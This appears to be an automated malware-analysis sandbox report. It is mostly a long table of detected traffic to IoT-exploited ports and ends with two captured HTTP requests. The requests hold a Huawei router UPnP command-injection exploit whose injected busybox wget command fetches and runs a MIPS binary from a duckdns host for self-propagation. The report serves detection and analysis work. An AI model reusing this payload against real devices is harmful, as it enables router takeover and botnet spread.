| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33394 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 33394 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56796 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60050 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42644 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42662 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37132 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42662 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42662 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42644 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38226 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 38230 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45356 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45356 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43406 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45356 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42662 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42644 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35468 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45356 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50746 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56640 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 50746 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42662 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52632 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45356 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50262 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60206 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39774 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60214 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52869 -> 60206 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52869 -> 60214 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 39774 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 39626 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42644 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53960 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 43606 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53960 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42662 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45356 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53960 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57804 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53576 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57804 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57804 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54664 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57804 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37215 -> 54664 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54984 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42644 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54984 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57804 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54984 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34594 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49886 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 49886 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54984 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46876 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46666 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46876 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 60706 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46876 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50978 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45356 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46876 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42662 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54984 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46876 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57278 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 57278 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57804 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42884 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42884 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56152 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 56152 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42884 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46876 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42884 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48070 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48126 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48136 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48148 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48172 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48262 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42054 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57638 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33274 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47094 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42884 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57624 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37718 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48280 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48466 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48476 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 48480 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42914 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40754 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33784 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54984 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33788 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33784 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33788 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42884 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33784 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33788 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34814 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34814 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33784 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33788 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34814 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 58668 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 44110 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34814 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 55256 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42744 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42748 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46876 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34814 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35464 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45084 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 56532 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45084 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34832 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45084 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46794 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37215 -> 46794 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45084 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42884 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37808 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47682 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 47694 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 40848 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34814 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37808 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36006 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36016 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45084 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37808 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36050 |
| Source: unknown | Network traffic detected: HTTP traffic on port 42644 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36090 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36094 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33918 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37215 -> 33918 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36096 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53132 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41430 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36160 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36206 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37808 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36280 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 36282 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57804 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37890 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53024 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 46902 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37890 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37890 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37890 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53024 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 48254 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 45084 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37890 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53024 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 41686 -> 60001 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37808 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 50422 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34508 |
| Source: unknown | Network traffic detected: HTTP traffic on port 34814 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34566 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33912 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34624 |
| Source: unknown | Network traffic detected: HTTP traffic on port 57346 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 57346 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34634 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37908 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37108 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 37890 -> 52869 |
| Source: unknown | Network traffic detected: HTTP traffic on port 53024 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34662 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34716 |
| Source: unknown | Network traffic detected: HTTP traffic on port 33202 -> 7547 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34804 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34814 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34860 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52942 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35160 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 23 -> 34884 |
| Source: unknown | Network traffic detected: HTTP traffic on port 54984 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52942 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35160 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 52942 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 35160 -> 37215 |
| Source: unknown | Network traffic detected: HTTP traffic on port 36280 -> 7547 |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
